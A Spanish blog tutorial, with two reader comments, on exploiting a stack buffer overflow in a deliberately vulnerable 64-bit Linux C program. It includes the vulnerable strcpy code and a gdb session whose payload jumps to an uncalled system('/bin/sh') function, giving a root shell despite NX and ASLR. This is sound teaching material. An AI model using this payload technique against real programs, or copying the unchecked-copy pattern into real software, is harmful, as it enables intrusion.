Llevaba un tiempo queriendo escribir sobre como un overflow puede permitirnos (with no shellcodes!) movernos por los flujos del codigo de un programa (previstos o no) asi que aqui van cosas como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al propio programa a explotar, que podemos llegar a ejecutar partes del programa que no deberiamos (password incorrecto? no problem, just let me in anyway).
Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada (no infoleaks needed, no bruteforce needed... como si no existiera). A disfrutar.
### Some versions root@bt:~# uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux ### 64 bits S.O. root@bt:~# getconf LONG_BIT 64 ### Full ASLR root@bt:~# cat /proc/sys/kernel/randomize_va_space 2 ### ASLR + NX root@bt:~# bash checksec.sh --file vuln RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln ### Code root@bt:~# cat vuln.c #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4 #4 is min on x64 void nunca_se_ejecuta() /* NUNCA SE LLAMA A ESTA FUNCION EN EL CODIGO */ /* call me if you can */ { system("/bin/sh"); printf("SIGSEGV"); } void vuln(char *buff) { char tmp[8] = {'\0'}; strcpy(tmp, buff); printf("-> %sn", tmp); } int main(int argc, char *argv[]) { if(argc != 2) { printf("%s <arg>n", argv[0]); exit(0); } printf("exploit me if you can"); vuln(argv[1]); return 0; } ### No SSP. Min preferred stack boundary on x64 is 4 bytes root@bt:~# gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4 ### Okay, let's GDB rocks: root@bt:~# gdb -q vuln Reading symbols from /root/vuln...(no debugging symbols found)...done. (gdb) r `perl -e 'print "123456789012345678901234AAAA"'` Starting program: /root/vuln `perl -e 'print "123456789012345678901234AAAA"'` Program received signal SIGSEGV, Segmentation fault. 0x0000000041414141 in ?? () ### The Segmentation fault is what we wanted to see. Let's disasm our target func (gdb) disas nunca_se_ejecuta Dump of assembler code for function nunca_se_ejecuta: 0x0000000000400604 <+0>: push %rbp 0x0000000000400605 <+1>: mov %rsp,%rbp 0x0000000000400608 <+4>: mov $0x4007c0,%edi 0x000000000040060d <+9>: callq 0x4004f8 <system@plt> 0x0000000000400612 <+14>: mov $0x4007c8,%eax 0x0000000000400617 <+19>: mov %rax,%rdi 0x000000000040061a <+22>: mov $0x0,%eax 0x000000000040061f <+27>: callq 0x4004c8 <printf@plt> 0x0000000000400624 <+32>: leaveq 0x0000000000400625 <+33>: retq End of assembler dump. ### Si queremos entrar a la funcion que nunca se llama, podemos saltar aqui: 0x0000000000400608 <+4>: mov $0x4007c0,%edi¿Muchos NULLs? No problem, podemos llegar a esa direccion de memoria en direccionamiento 64 bits saltando a 0x00400608. ¿Aun hay un byte nulo que abortaria el programa? da igual, thx little-endian :)
(gdb) r `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/vuln `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'` sh-4.1# whoami root:)
sh-4.1# exit Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffe4a8 in ?? () ## bye (gdb) q A debugging session is active. Inferior 1 [process 20741] will be killed. Quit anyway? (y or n) y root@bt:~#Probado en un kernel 4.1.7-grsec , system() sigue devolviendonos una shell, y una vez salimos de la shell, cuando retornamos de la funcion, PaX mata el programa explotado.
Have fun-
2 comentarios :
Muy buena!
Siempre es bueno recordar estas cosas porqué existen casos en los que no es necesario ejecutar nada que no esté actualmente en memoria (Como tu proverbio... Todo está en memoria :D).
También es bueno que la gente empiece a publicar los textos enfocados a arquitecturas de 64 bits, que ya toca...
A ver si la inspiración te viene más a menudo :D
Saludos!
Efectivamente, amamos los shellcodes, pero si el propio programa ya tiene mapeado algo interesante en memoria ¡a por ello!
Me alegro de que te haya gustado la entrada, una saludo tio.
Hablamos,
Publicar un comentario